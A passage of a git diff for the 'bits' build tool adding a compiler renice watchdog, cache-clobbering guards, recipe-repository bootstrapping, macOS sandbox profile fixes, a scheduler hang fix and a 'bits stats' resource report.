Docker/podman builds run in a separate container with an isolated PID + namespace, so the host cannot see or renice the compiler processes inside. + Instead bits names each build container and registers it via + :meth:`register_container`; the watchdog peeks inside the named container + (``docker exec ... ps``) for a long-running compile and renices that + process to a higher priority with ``docker exec --user 0 ... renice`` (run + as root inside the container, so it can raise priority freely). + """ + + def __init__(self, boost_after=600, interval=30, target_nice=0, + docker_boost_nice=-10, log=None, docker_exec=None): + self.boost_after = max(1, int(boost_after)) + self.interval = max(1, int(interval)) + self.target_nice = int(target_nice) + self.docker_boost_nice = int(docker_boost_nice) + self._log = log or (lambda *a, **k: None) + self._stop = threading.Event() + self._thread = None + self._handled = set() # native pids / (container, pid) already handled + self._warned_eperm = False + self._lock = threading.Lock() + self._containers = {} # name -> {"start": t, "bin": docker_bin} + self._docker_exec = docker_exec or _run_docker_exec + self._docker_disabled = False # set if `ps` is missing in the build image + self._warned_ps = False + + def register_container(self, name, docker_bin="docker"): + """Register a named build container so a straggler can be boosted.""" + with self._lock: + self._containers[name] = {"start": time.time(), "bin": docker_bin} + + def start(self): + """Launch the watchdog thread.""" + if psutil is None: + self._log("renice-watchdog: psutil unavailable; native straggler boosting " + "disabled (docker container boosting still active)") + self._thread = threading.Thread(target=self._run, name="renice-watchdog", daemon=True) + self._thread.start() + return self + + def stop(self): + """Signal the thread to exit and wait briefly for it.""" + self._stop.set() + if self._thread is not None: + self._thread.join(timeout=2) + + def _candidates(self): + """Return ``[(proc, elapsed, nice), ...]`` for direct child build + processes that are niced down and older than ``boost_after``.""" + out = [] + now = time.time() + try: + children = psutil.Process(os.getpid()).children(recursive=False) + except Exception: + return out + for p in children: + try: + if p.pid in self._handled: + continue + nice = p.nice() + if nice is None or nice <= self.target_nice: + continue + elapsed = now - p.create_time() + if elapsed < self.boost_after: + continue + out.append((p, elapsed, nice)) + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + return out + + def _boost(self, proc): + """Renice *proc* and its descendants toward ``target_nice``. + + Returns True if at least one process was reniced, False if not + permitted (privilege required to raise priority). + """ + procs = [proc] + try: + procs += proc.children(recursive=True) + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + ok = False + for p in procs: + try: + if p.nice() > self.target_nice: + p.nice(self.target_nice) + ok = True + except psutil.AccessDenied: + return False + except psutil.NoSuchProcess: + continue + return ok + + def _list_container_procs(self, name, docker_bin): + """Return ``(procs, ps_missing)`` for processes inside *name*. + + *procs* is ``[(pid, etimes, comm), ...]`` (empty if the container is + gone). *ps_missing* is True when the failure was ``ps`` not being + installed in the image (as opposed to the container having exited), + detected from a 126/127 exit or a "not found" message. Uses + ``docker exec ... ps`` run as root so it sees every process. + """ + rc, out, err = self._docker_exec([docker_bin, "exec", "--user", "0", name, + "ps", "-eo", "pid=,etimes=,comm="]) + if rc != 0: + blob = (err or "").lower() + ps_missing = (rc in (126, 127) + or "not found" in blob + or "executable file not found" in blob) + return [], ps_missing + procs = [] + for line in out.splitlines(): + parts = line.split(None, 2) + if len(parts) < 3: + continue + try: + pid, etimes = int(parts[0]), int(parts[1]) + except ValueError: + continue + procs.append((pid, etimes, parts[2].strip())) + return procs, False + + def _docker_proc_candidates(self): + """Return ``[(name, docker_bin, pid, etimes, comm), ...]`` for heavy + compile processes inside registered containers that have been running + longer than ``boost_after`` and have not been handled yet. + + If ``ps`` is missing from the build image the docker path is disabled + after a single warning (renicing inside the container is impossible + without it).""" + if self._docker_disabled: + return [] + now = time.time() + out = [] + with self._lock: + items = list(self._containers.items()) + for name, info in items: + # Cheap container-age gate so we do not exec into young builds. + if now - info["start"] < self.boost_after: + continue + procs, ps_missing = self._list_container_procs(name, info["bin"]) + if ps_missing: + self._docker_disabled = True + if not self._warned_ps: + self._warned_ps = True + self._log("renice-watchdog: 'ps' is not available in the build image, so " + "in-container compile processes cannot be found; straggler " + "renicing is disabled. Install the 'procps' package in the build " + "image to enable it.") + return [] + for pid, etimes, comm in procs: + if etimes < self.boost_after: + continue + if not any(h in comm for h in _COMPILER_HINTS): + continue + if (name, pid) in self._handled: + continue + out.append((name, info["bin"], pid, etimes, comm)) + return out + + def _renice_in_container(self, name, docker_bin, pid): + """Renice *pid* inside *name* to ``docker_boost_nice`` (run as root so + it can raise priority). Returns True on success.""" + rc, _, _ = self._docker_exec([docker_bin, "exec", "--user", "0", name, + "renice", "-n", str(self.docker_boost_nice), + "-p", str(pid)]) + return rc == 0 + + def _run(self): + while not self._stop.wait(self.interval): + # Native (process) stragglers: renice the subtree toward nice 0. + cands = self._candidates() + if cands: + cands.sort(key=lambda t: t[1], reverse=True) # longest-running first + proc, elapsed, nice = cands[0] + try: + pname = proc.name() + except Exception: + pname = "pid %d" % proc.pid + self._handled.add(proc.pid) # don't retry this pid either way + if self._boost(proc): + self._log("renice-watchdog: boosted long-running build (pid %d, %s) from " + "nice %d to %d after %d min", proc.pid, pname, nice, + self.target_nice, int(elapsed // 60)) + elif not self._warned_eperm: + self._warned_eperm = True + self._log("renice-watchdog: not permitted to raise build priority " + "(needs root / CAP_SYS_NICE); straggler boosting disabled") + continue + + # Docker stragglers: renice the long-running compile *inside* the + # named container (one per interval), via `docker exec ... renice`. + dproc = self._docker_proc_candidates() + if dproc: + dproc.sort(key=lambda t: t[3], reverse=True) # longest etimes first + name, dbin, pid, etimes, comm = dproc[0] + self._handled.add((name, pid)) # boost once + if self._renice_in_container(name, dbin, pid): + self._log("renice-watchdog: boosted in-container compile %s (pid %d in %r) " + "to nice %d after %d min", comm, pid, name, + self.docker_boost_nice, int(etimes // 60)) diff --git a/bits_helpers/repo_provider.py b/bits_helpers/repo_provider.py index 0022f2f2..57c1a5c3 100644 --- a/bits_helpers/repo_provider.py +++ b/bits_helpers/repo_provider.py @@ -51,6 +51,7 @@ import shutil from collections import OrderedDict from os.path import join, exists, abspath +from typing import Optional from bits_helpers.log import debug, info, warning, banner, dieOnError from bits_helpers.git import Git @@ -302,6 +303,12 @@ def clone_or_update_provider( or tag # fall-back: tag is already a raw commit hash ) short_hash = commit_hash[:10] if len(commit_hash) > 10 else commit_hash + # Safety: an empty hash would collapse checkout_dir to cache_root itself, + # causing shutil.rmtree to wipe the entire package cache on the next step. + dieOnError(not short_hash, + "commit_hash resolved to empty string for provider '%s' tag '%s' — " + "refusing to construct checkout_dir to prevent clobbering the " + "package cache." % (package, tag)) checkout_dir = join(cache_root, short_hash) # ── 3. Cache-hit check ─────────────────────────────────────────────── @@ -311,12 +318,18 @@ def clone_or_update_provider( marker = join(checkout_dir, ".bits_provider_ok") if exists(marker): debug("Provider '%s' is up-to-date (cache hit @ %s)", package, short_hash) - info("Reusing cached provider '%s' @ %s", package, short_hash) symlink(short_hash, join(cache_root, "latest")) return checkout_dir, commit_hash # ── 4. Clone + checkout ────────────────────────────────────────────── banner("Fetching repository provider '%s' @ %s", package, tag) + # Safety: refuse to clone over an existing git repository — this would + # destroy a different provider's checkout if two packages ever resolved to + # the same (or an empty) hash subdirectory. + dieOnError(exists(join(checkout_dir, ".git")), + "checkout_dir '%s' already contains a .git repository; refusing " + "to clone provider '%s' over it to prevent clobbering an existing " + "checkout." % (checkout_dir, package)) shutil.rmtree(checkout_dir, ignore_errors=True) err, out = scm.exec( @@ -501,6 +514,132 @@ def load_always_on_providers( return provider_dirs +# ── CWD recipe-directory detection ───────────────────────────────────────── + +def cwd_is_recipe_dir() -> bool: + """Return True if the current working directory looks like a bits recipe repo. + + The definitive marker of a bits recipe repository is the presence of a + ``defaults-release.sh`` file. Every community recipe repo ships one so + that bits knows which default build profile to apply. Checking for this + specific file avoids false-positive matches on arbitrary directories that + happen to contain ``*.sh`` files with YAML headers. + + This check is intentionally fast (a single ``os.path.exists`` call) so it + can be called on every ``bits build`` invocation without measurable overhead. + """ + return os.path.exists("defaults-release.sh") + + +# ── Backward-compat bootstrap ─────────────────────────────────────────────── + +def bootstrap_default_config(args, work_dir: str) -> Optional[str]: + """Bootstrap a default recipe repository when no config dir exists. + + Called when ``bits build `` is run without a pre-existing recipe + directory. The lookup order for which community recipe repo to clone is: + + 1. **``organisation`` from bits.rc / ``--organisation``** — if set to e.g. + ``lhcb``, bits looks for ``lhcb.bits.sh`` in the bits-providers checkout. + 2. **``default.bits.sh``** — fallback for backward-compatibility with the + original ALICE workflow when no organisation is configured. + + Procedure: + + 1. Fetch **bits-providers** (using the URL from ``args.bits_providers``). + 2. Resolve the candidate recipe filename: ``.bits.sh`` or + ``default.bits.sh``. + 3. Parse that recipe and clone the ``source`` repository it points to. + 4. Return the local checkout path (caller assigns it to ``args.configDir``). + + Returns ``None`` when any step cannot proceed; the caller decides whether + to die or show the normal "missing config dir" error. + """ + bits_providers_url = getattr(args, "bits_providers", None) + if not bits_providers_url: + return None + + reference_sources = getattr(args, "referenceSources", "") + fetch_repos = getattr(args, "fetchRepos", True) + + # ── 1. Clone / update bits-providers ────────────────────────────────── + url, tag = _parse_provider_url(bits_providers_url) + spec = _make_bits_providers_spec(url, tag) + try: + info("Bootstrapping: fetching bits-providers from %s …", url) + providers_checkout, _ = clone_or_update_provider( + spec, work_dir, reference_sources, fetch_repos, + ) + except SystemExit: + warning("Bootstrap failed: could not clone bits-providers from %s", url) + return None + + # ── 2. Resolve candidate recipe file ────────────────────────────────── + # Prefer .bits.sh when an organisation is configured so that + # "bits init --organisation lhcb && bits build PKG" just works without any + # other arguments. Fall back to default.bits.sh for ALICE backward compat. + # Organisation is stored in uppercase in bits.rc (e.g. "ALICE", "LHCB") but + # the bits-providers filenames are lowercase (alice.bits.sh, lhcb.bits.sh). + organisation = (getattr(args, "organisation", None) or "").lower() + candidates = [] + if organisation: + candidates.append(("%s.bits.sh" % organisation, organisation)) + candidates.append(("default.bits.sh", "default")) + + chosen_sh = None + chosen_label = None + for filename, label in candidates: + path = join(providers_checkout, filename) + if exists(path): + chosen_sh = path + chosen_label = label + break + + if chosen_sh is None: + if organisation: + debug( + "Bootstrap: neither %s.bits.sh nor default.bits.sh found in " + "bits-providers — cannot auto-configure", + organisation, + ) + else: + debug("Bootstrap: no default.bits.sh in bits-providers — nothing to auto-configure") + return None + + try: + err, default_spec, _ = parseRecipe(getRecipeReader(chosen_sh)) + except Exception as exc: + warning("Bootstrap: could not parse %s.bits.sh: %s", chosen_label, exc) + return None + if err or default_spec is None: + warning("Bootstrap: parse error in %s.bits.sh: %s", chosen_label, err) + return None + + default_source = default_spec.get("source", "") + if not default_source: + warning("Bootstrap: %s.bits.sh has no 'source' URL", chosen_label) + return None + + # ── 3. Clone the config repository ──────────────────────────────────── + try: + info( + "Bootstrapping: cloning %s recipe repository from %s …", + chosen_label, default_source, + ) + checkout_dir, _ = clone_or_update_provider( + default_spec, work_dir, reference_sources, fetch_repos, + ) + except SystemExit: + warning( + "Bootstrap failed: could not clone %s config repository from %s", + chosen_label, default_source, + ) + return None + + info("Bootstrap complete: using recipe repository at %s", checkout_dir) + return checkout_dir + + # ── Iterative provider discovery ──────────────────────────────────────────── def fetch_repo_providers_iteratively( diff --git a/bits_helpers/sandbox.py b/bits_helpers/sandbox.py index cb35d076..6b1faf18 100644 --- a/bits_helpers/sandbox.py +++ b/bits_helpers/sandbox.py @@ -144,8 +144,14 @@ def resolve_sandbox_mode(requested: str, docker_active: bool) -> str: if sys.platform == "darwin": return "sandbox-exec" if sandbox_exec_available() else "off" - # Linux, no docker - return "podman" if podman_available() else "off" + # Linux, no outer Docker: do NOT use — or even probe — podman here. Recipe + # sandboxing with podman is only meaningful when a container image is + # available, i.e. inside --docker (the nested-podman branch above) or when + # the user explicitly asks for it via --sandbox=podman / --sandbox-image + # (handled by the requested == "podman" branch). Returning "off" here keeps + # an ordinary `bits build` from invoking `podman info` and from depending on + # a working rootless-podman setup. + return "off" # --------------------------------------------------------------------------- @@ -158,9 +164,35 @@ def resolve_sandbox_mode(requested: str, docker_active: bool) -> str: (allow process*) (allow signal) (allow file-read*) -(allow file-write* (subpath "{builddir}")) +{builddir_rules} +; Temp dirs. On macOS /tmp and /var are symlinks to /private/tmp and +; /private/var, and SBPL subpath matching resolves symlinks, so the kernel +; sees the canonical /private/... paths. Allow both the symlink names (in case +; a path is matched pre-resolution) and the canonical targets — otherwise the +; compiler's own temp files ($TMPDIR=/var/folders/.../T -> /private/var/...) +; are denied and clang reports "unable to make temporary file" / +; "C compiler cannot create executables". (allow file-write* (subpath "/tmp")) (allow file-write* (subpath "/var/folders")) +(allow file-write* (subpath "/var/tmp")) +(allow file-write* (subpath "/private/tmp")) +(allow file-write* (subpath "/private/var/folders")) +(allow file-write* (subpath "/private/var/tmp")) +; Standard character devices. /dev is outside every allowed write subpath, so +; without these the default (deny) breaks `> /dev/null`, process substitution +; (/dev/fd), ptys, entropy, etc. — i.e. essentially every autotools configure. +; Raw block/disk devices (/dev/disk*, /dev/rdisk*) are deliberately NOT listed +; so a buggy or malicious recipe still cannot scribble over the raw disk. +(allow file-write* + (literal "/dev/null") + (literal "/dev/zero") + (literal "/dev/random") + (literal "/dev/urandom") + (literal "/dev/tty") + (literal "/dev/dtracehelper") + (literal "/dev/ptmx") + (subpath "/dev/fd") + (regex #"^/dev/ttys[0-9]+$")) (allow sysctl*) (allow mach*) (allow ipc*) @@ -180,18 +212,32 @@ def make_sbpl_profile(allow_network: bool, builddir: str) -> str: :param builddir: absolute host path of the bits work directory; the recipe is allowed to write anywhere beneath it """ - # FIX: SBPL string literals are delimited by double-quotes, so a '"' in + # Allow writes under the build dir AND its symlink-resolved real path. + # SBPL subpath matching resolves symlinks, so if the work dir lives under a + # symlinked prefix (e.g. /var -> /private/var) only the canonical path + # actually matches; include both so either form works. + builddirs = [builddir] + real = os.path.realpath(builddir) + if real != builddir: + builddirs.append(real) + + # FIX: SBPL string literals are delimited by double-quotes, so a '"' in a # builddir would escape the literal and allow injection of arbitrary SBPL # rules (e.g. lifting the write restriction to cover /etc). Reject early. - if '"' in builddir: - raise ValueError( - f"workdir path contains '\"' which cannot be safely embedded in an " - f"SBPL sandbox profile: {builddir!r}. Use a path without double-quote " - f"characters." - ) + for d in builddirs: + if '"' in d: + raise ValueError( + f"workdir path contains '\"' which cannot be safely embedded in an " + f"SBPL sandbox profile: {d!r}. Use a path without double-quote " + f"characters." + ) + builddir_rules = "\n".join( + '(allow file-write* (subpath "%s"))' % d for d in builddirs + ) + network_rule = "(allow network*)" if allow_network else "" content = _SBPL_TEMPLATE.format( - builddir=builddir, + builddir_rules=builddir_rules, network_rule=network_rule, ) fd, path = tempfile.mkstemp(suffix=".sb", prefix="bits-sandbox-") @@ -243,8 +289,35 @@ def wrap_build_command( The Docker image name. Used as the nested podman image when no ``--sandbox-image`` was given. """ - sandbox_network = spec.get("sandbox_network", "on") - allow_network = (sandbox_network == "off") + # defaults-* packages (defaults-release, defaults-user, …) are pure + # configuration packages with no compiled build script — they inject + # default values into the build system and never run inside a sandbox. + # Skip silently so the "sandbox=podman requires a container image" warning + # is not emitted for every defaults package in the dependency tree. + pkg_name = spec.get("package", "") + if pkg_name.startswith("defaults-"): + return build_command + + # Semantics: sandbox_network is "is the network *restriction* on?". + # on -> restriction on -> network BLOCKED (allow_network False) + # off -> restriction off -> network ALLOWED (allow_network True) + # Precedence: a recipe's own `sandbox_network:` field wins; otherwise fall + # back to the global default in opts.sandboxNetwork, which build.py resolves + # from --sandbox-network or the active defaults `sandbox_network:` (see + # defaults-release.sh), defaulting to "on". This lets a stack with many + # pip-installing recipes flip the default once instead of annotating every + # recipe. + global_default = getattr(opts, "sandboxNetwork", "on") or "on" + sandbox_network = spec.get("sandbox_network", global_default) + # YAML's SafeLoader parses bare on/off/yes/no as booleans, so a recipe line + # `sandbox_network: off` arrives here as Python False (not the string + # "off"). Normalise both forms so quoted and unquoted recipes behave the + # same and nobody silently keeps the network blocked by forgetting quotes. + if isinstance(sandbox_network, bool): + allow_network = (sandbox_network is False) + else: + allow_network = (str(sandbox_network).strip().lower() + in ("off", "false", "no", "0")) requested = getattr(opts, "sandbox", "auto") mode = resolve_sandbox_mode(requested, docker_active) @@ -258,11 +331,24 @@ def wrap_build_command( image = getattr(opts, "sandboxImage", None) or docker_image if mode == "podman" and not image: - warning( - "sandbox=podman requires a container image (--docker or --sandbox-image). " - "Sandboxing disabled for package %s.", - spec.get("package", "?"), - ) + # No container image available. If the user explicitly requested podman + # (--sandbox=podman) this is a configuration mistake — warn loudly. + # If podman was chosen automatically (sandbox=auto, Linux host) there is + # simply no image to use; downgrade silently to "off" so that running + # "bits build PKG" locally doesn't flood the console with per-package + # warnings on every build invocation. + if requested == "podman": + warning( + "sandbox=podman requires a container image (--docker or " + "--sandbox-image). Sandboxing disabled for package %s.", + spec.get("package", "?"), + ) + else: + debug( + "sandbox=auto: podman available but no image supplied; " + "sandboxing disabled for package %s.", + spec.get("package", "?"), + ) return build_command # --- sandbox-exec (macOS) --- diff --git a/bits_helpers/scheduler.py b/bits_helpers/scheduler.py index 72e6604f..39c86eb7 100644 --- a/bits_helpers/scheduler.py +++ b/bits_helpers/scheduler.py @@ -3,7 +3,7 @@ import threading import traceback from io import StringIO -from queue import Queue, PriorityQueue +from queue import Queue, PriorityQueue, Empty from threading import Thread from time import sleep @@ -81,7 +81,22 @@ def run(self): while self.parallelThreads: try: self.__doNotifications() - who, item = self.resultsQueue.get() + try: + # Bounded wait so the master never blocks indefinitely. During + # normal operation the final-job re-queues itself continuously, so + # a timeout only elapses once there is nothing left to process -- + # at which point the liveness/termination check below runs. + who, item = self.resultsQueue.get(timeout=1.0) + except Empty: + # No results this interval. If every worker thread has exited + # (e.g. an unexpected crash) we would otherwise hang here forever + # waiting for a result that can never arrive, so fail any jobs + # still pending/running and stop -- guaranteeing the build always + # finishes and prints its summary. + if not any(t.is_alive() for t in all_threads): + self.__failStuckJobs("worker thread exited before reporting completion") + break + continue item[0](*item[1:]) sleep(0.1) if not any([True for t in all_threads if t.is_alive()]): @@ -107,10 +122,17 @@ def worker(): pri, taskId, item = self.workersQueue.get() try: result = item[0](*item[1:]) - except Exception as e: + except BaseException as e: + # Catch BaseException (not just Exception) so that a task which + # raises SystemExit -- e.g. via dieOnError -- or any other + # BaseException is turned into a job-failure *result* instead of + # silently killing this worker thread. A dead worker would leave + # its job stuck in runningJobs forever and prevent the scheduler + # from ever reaching its termination condition (the build would + # hang with no summary at the very end). s = StringIO() traceback.print_exc(file=s) - result = s.getvalue() + result = s.getvalue() or ("task raised %r" % (e,)) if isinstance(result, _SchedulerQuitCommand): self.notifyTaskMaster(self.__releaseWorker) @@ -141,7 +163,7 @@ def parallel(self, taskId, deps, taskType, *spec): if taskType in ["build", "download", "fetch"]: try: self.jobs[taskId]["priority"] = 100000 - spec[1].requiredBy - except AttributeError: + except (AttributeError, IndexError): self.jobs[taskId]["priority"] = 1 self.pendingJobs.append(taskId) self.finalJobDeps.append(taskId) @@ -208,6 +230,20 @@ def __doRescheduleParallel(self): transition(taskId, self.pendingJobs, self.runningJobs) self.__scheduleParallel(taskId, self.jobs[taskId]["spec"], priority=self.jobs[taskId]["priority"]) + # Move every job that is still running or pending (except the sentinel + # final-job) into the broken set with an explanatory error. Called by the + # master watchdog when all worker threads have exited unexpectedly, so that + # scheduler.errors / scheduler.brokenJobs reflect the unfinished work and the + # caller prints a complete summary instead of the build hanging. + def __failStuckJobs(self, reason): + stuck = list(self.runningJobs) + [j for j in self.pendingJobs if j != "final-job"] + for taskId in stuck: + if taskId in self.runningJobs: + transition(taskId, self.runningJobs, self.brokenJobs) + elif taskId in self.pendingJobs: + transition(taskId, self.pendingJobs, self.brokenJobs) + self.errors.setdefault(taskId, reason) + # Update the job with the result of running. def __updateJobStatus(self, taskId, error): if "taskType" in self.jobs[taskId]: diff --git a/bits_helpers/stats.py b/bits_helpers/stats.py new file mode 100644 index 00000000..40708c81 --- /dev/null +++ b/bits_helpers/stats.py @@ -0,0 +1,311 @@ +"""``bits stats`` — human-readable build resource report. + +Reads the resource data produced when monitoring is active: + +* ``/bits_build_stats.json`` — per-package peaks (cpu, rss, time) plus + the machine's total schedulable resources (written by ``build_stats.py``). +* ``/SPECS////.json`` — the per-package + time-series trace (one sample per second). Used, when present, to derive the + *average* CPU (not just the peak) and the peak thread count. + +The report leads with the essentials (headline + top-offender tables) and ends +with flags that each point at a concrete action (a recipe or scheduler fix). +""" + +import json +import os +from glob import glob +from os.path import join, isfile + +from bits_helpers.log import error, info + + +# ── formatting helpers ────────────────────────────────────────────────────── + +def human_bytes(n): + n = float(n or 0) + for unit in ("B", "KiB", "MiB", "GiB", "TiB"): + if n < 1024 or unit == "TiB": + return ("%.0f %s" % (n, unit)) if unit == "B" else ("%.1f %s" % (n, unit)) + n /= 1024.0 + + +def human_time(seconds): + s = int(seconds or 0) + h, rem = divmod(s, 3600) + m, sec = divmod(rem, 60) + if h: + return "%dh%02dm%02ds" % (h, m, sec) + if m: + return "%dm%02ds" % (m, sec) + return "%ds" % sec + + +def cores(cpu_percent): + """Monitor CPU is a summed percentage (100 == one fully-used core).""" + return (cpu_percent or 0) / 100.0 + + +# ── data loading ──────────────────────────────────────────────────────────── + +def load_build_stats(work_dir): + """Return the parsed bits_build_stats.json dict, or None.""" + path = join(work_dir, "bits_build_stats.json") + if not isfile(path): + return None + try: + with open(path) as fh: + data = json.load(fh) + return data if isinstance(data, dict) else None + except (OSError, ValueError): + return None + + +def find_trace(work_dir, package): + """Locate a package's monitor trace under SPECS/, or None.""" + matches = glob(join(work_dir, "SPECS", "*", package, "*", "%s.json" % package)) + return matches[0] if matches else None + + +def trace_metrics(path): + """Derive {avg_cpu, peak_cpu, peak_rss, peak_threads, cpu_seconds, duration} + from a monitor trace, or None when it is unusable.""" + try: + with open(path) as fh: + samples = json.load(fh) + except (OSError, ValueError): + return None + if not isinstance(samples, list) or not samples: + return None + + prev_t = 0 + cpu_seconds = 0.0 # Σ cpu*dt / 100 (CPU-core-seconds) + weighted_cpu = 0.0 # Σ cpu*dt (for time-weighted average) + total_dt = 0.0 + peak_cpu = peak_rss = peak_threads = 0 + mem_per_thread = 0 # worst-case rss / threads across samples + for s in samples: + t = int(s.get("time", prev_t)) + dt = max(t - prev_t, 0) or 1 # default 1s cadence if timestamps repeat + prev_t = t + c = int(s.get("cpu", 0)) + weighted_cpu += c * dt + cpu_seconds += c * dt / 100.0 + total_dt += dt + peak_cpu = max(peak_cpu, c) + rss = int(s.get("rss", 0)) + peak_rss = max(peak_rss, rss) + th = int(s.get("num_threads", 0)) + peak_threads = max(peak_threads, th) + mem_per_thread = max(mem_per_thread, rss / max(th, 1)) + avg_cpu = (weighted_cpu / total_dt) if total_dt else 0 + return { + "avg_cpu": avg_cpu, "peak_cpu": peak_cpu, "peak_rss": peak_rss, + "peak_threads": peak_threads, "mem_per_thread": int(mem_per_thread), + "cpu_seconds": cpu_seconds, "duration": prev_t, + } + + +def collect(work_dir): + """Return (resources, [per-package metric dicts]). + + Each metric dict: package, peak_rss, peak_cpu, avg_cpu, time, cpu_seconds, + peak_threads. Peaks come from bits_build_stats.json; avg_cpu / peak_threads / + cpu_seconds come from the trace when available. + """ + stats = load_build_stats(work_dir) + if not stats: + return None, [] + resources = stats.get("resources", {}) or {} + pkgs = (stats.get("packages", {}) or {}).get("build", {}) or {} + out = [] + for pkg, peak in sorted(pkgs.items()): + m = { + "package": pkg, + "peak_rss": int(peak.get("rss", 0)), + "peak_cpu": int(peak.get("cpu", 0)), + "time": int(peak.get("time", 0)), + "avg_cpu": None, "cpu_seconds": None, "peak_threads": None, + "mem_per_thread": None, + } + tr = find_trace(work_dir, pkg) + if tr: + tm = trace_metrics(tr) + if tm: + m["avg_cpu"] = tm["avg_cpu"] + m["cpu_seconds"] = tm["cpu_seconds"] + m["peak_threads"] = tm["peak_threads"] + m["mem_per_thread"] = tm["mem_per_thread"] + # Trace peaks are at least as accurate as the aggregated ones. + m["peak_rss"] = max(m["peak_rss"], tm["peak_rss"]) + m["peak_cpu"] = max(m["peak_cpu"], tm["peak_cpu"]) + if not m["time"]: + m["time"] = tm["duration"] + out.append(m) + return resources, out + + +# ── analysis: flags that point at an action ───────────────────────────────── + +# A build is "heavy" enough to be worth flagging only past this wall time. +HEAVY_TIME_S = 120 +# Below this average core usage a heavy build is considered under-threaded. +UNDERTHREADED_CORES = 1.5 +# Peak RSS above this fraction of RAM is an OOM risk under --builders. +OOM_RSS_FRACTION = 0.5 + + +def flags(resources, metrics): + """Return a list of (package, severity, message) actionable findings.""" + ram = int(resources.get("rss", 0)) + found = [] + for m in metrics: + pkg = m["package"] + # Under-threaded heavy build (needs avg_cpu from a trace). + if (m["avg_cpu"] is not None and m["time"] >= HEAVY_TIME_S + and cores(m["avg_cpu"]) < UNDERTHREADED_CORES): + found.append((pkg, "warn", + "%s ran %s using only %.1f cores on average -- the recipe is " + "likely not building in parallel. Add `${JOBS:+-j$JOBS}` to its " + "make/cmake --build step." % (pkg, human_time(m["time"]), cores(m["avg_cpu"])))) + # OOM risk under parallel builds. + if ram and m["peak_rss"] > ram * OOM_RSS_FRACTION: + mb = max(1, m["peak_rss"] // (1024 * 1024)) + found.append((pkg, "warn", + "%s peaked at %s (%.0f%% of %s RAM). Under --builders it can drive " + "the machine to OOM; set `mem_per_job: %d` on the recipe so the " + "scheduler reserves for it." % (pkg, human_bytes(m["peak_rss"]), + 100.0 * m["peak_rss"] / ram, human_bytes(ram), mb))) + return found + + +# ── rendering ─────────────────────────────────────────────────────────────── + +def _table(rows, headers, aligns): + widths = [len(h) for h in headers] + for r in rows: + for i, c in enumerate(r): + widths[i] = max(widths[i], len(str(c))) + def fmt(cells): + return " ".join( + (str(c).rjust(widths[i]) if aligns[i] == "r" else str(c).ljust(widths[i])) + for i, c in enumerate(cells)) + out = [fmt(headers), fmt(["-" * w for w in widths])] + out += [fmt(r) for r in rows] + return "\n".join(out) + + +def render_text(resources, metrics, top, sort_key): + if not metrics: + return "No resource data recorded (run a build with --resource-monitoring)." + ram = int(resources.get("rss", 0)) + ncores = cores(int(resources.get("cpu", 0))) + total_time = sum(m["time"] for m in metrics) + cpu_secs = sum((m["cpu_seconds"] or 0) for m in metrics) + heaviest = max(metrics, key=lambda m: m["peak_rss"]) + slowest = max(metrics, key=lambda m: m["time"]) + + lines = [] + lines.append("Build resource summary") + lines.append("=" * 22) + lines.append("Packages monitored : %d" % len(metrics)) + lines.append("Machine : %.0f cores, %s RAM" % (ncores, human_bytes(ram))) + lines.append("Serial build time : %s (sum of per-package wall times)" % human_time(total_time)) + if cpu_secs: + lines.append("CPU work : %.1f core-hours" % (cpu_secs / 3600.0)) + lines.append("Peak memory : %s (%s)" % (human_bytes(heaviest["peak_rss"]), heaviest["package"])) + lines.append("Longest build : %s (%s, %.0f%% of serial time)" + % (human_time(slowest["time"]), slowest["package"], + (100.0 * slowest["time"] / total_time) if total_time else 0)) + lines.append("") + + keymap = { + "time": lambda m: m["time"], + "rss": lambda m: m["peak_rss"], + "cpu": lambda m: m["peak_cpu"], + } + ordered = sorted(metrics, key=keymap.get(sort_key, keymap["time"]), reverse=True)[:top] + rows = [] + for m in ordered: + avg = "%.1f" % cores(m["avg_cpu"]) if m["avg_cpu"] is not None else "-" + mpt = human_bytes(m["mem_per_thread"]) if m["mem_per_thread"] is not None else "-" + rows.append([ + m["package"], + human_time(m["time"]), + human_bytes(m["peak_rss"]), + "%.1f" % cores(m["peak_cpu"]), + avg, + m["peak_threads"] if m["peak_threads"] is not None else "-", + mpt, + ]) + lines.append("Top %d packages by %s:" % (len(rows), sort_key)) + lines.append(_table(rows, + ["PACKAGE", "TIME", "PEAK RSS", "PEAK CPU", "AVG CPU", "THREADS", "MEM/THR"], + ["l", "r", "r", "r", "r", "r", "r"])) + lines.append("") + + findings = flags(resources, metrics) + if findings: + lines.append("Flags (%d):" % len(findings)) + for pkg, sev, msg in findings: + lines.append(" [!] %s" % msg) + else: + lines.append("Flags: none -- no obvious memory or parallelism concerns.") + return "\n".join(lines) + + +def render_package(work_dir, package): + tr = find_trace(work_dir, package) + if not tr: + return "No trace found for %s under %s/SPECS." % (package, work_dir) + tm = trace_metrics(tr) + if not tm: + return "Trace for %s is empty or unreadable (%s)." % (package, tr) + lines = ["Resource detail: %s" % package, "-" * (17 + len(package))] + lines.append("Duration : %s" % human_time(tm["duration"])) + lines.append("Peak RSS : %s" % human_bytes(tm["peak_rss"])) + lines.append("Peak CPU : %.1f cores" % cores(tm["peak_cpu"])) + lines.append("Average CPU : %.1f cores" % cores(tm["avg_cpu"])) + lines.append("CPU work : %.2f core-minutes" % (tm["cpu_seconds"] / 60.0)) + lines.append("Peak threads : %d" % tm["peak_threads"]) + lines.append("Mem/thread : %s (peak RSS / threads; cap JOBS or set " + "mem_per_job if high)" % human_bytes(tm["mem_per_thread"])) + lines.append("Trace : %s" % tr) + return "\n".join(lines) + + +# ── entry point ───────────────────────────────────────────────────────────── + +def doStats(args, parser): + work_dir = getattr(args, "workDir", "sw") + as_json = getattr(args, "json", False) + + if getattr(args, "package", None): + if as_json: + tr = find_trace(work_dir, args.package) + tm = trace_metrics(tr) if tr else None + print(json.dumps({"package": args.package, "metrics": tm}, indent=2)) + else: + print(render_package(work_dir, args.package)) + return + + resources, metrics = collect(work_dir) + if metrics is None or not metrics: + if not load_build_stats(work_dir): + error("No resource stats found at %s/bits_build_stats.json. " + "Run a build with --resource-monitoring first.", work_dir) + parser.exit(1) + info("Resource stats file present but contained no package data.") + return + + if as_json: + print(json.dumps({ + "resources": resources, + "packages": metrics, + "flags": [{"package": p, "severity": s, "message": m} + for p, s, m in flags(resources, metrics)], + }, indent=2)) + else: + print(render_text(resources, metrics, + top=getattr(args, "top", 10), + sort_key=getattr(args, "sort", "time"))) diff --git a/bits_helpers/status.py b/bits_helpers/status.py index 06e7ce45..99dd09fd 100644 --- 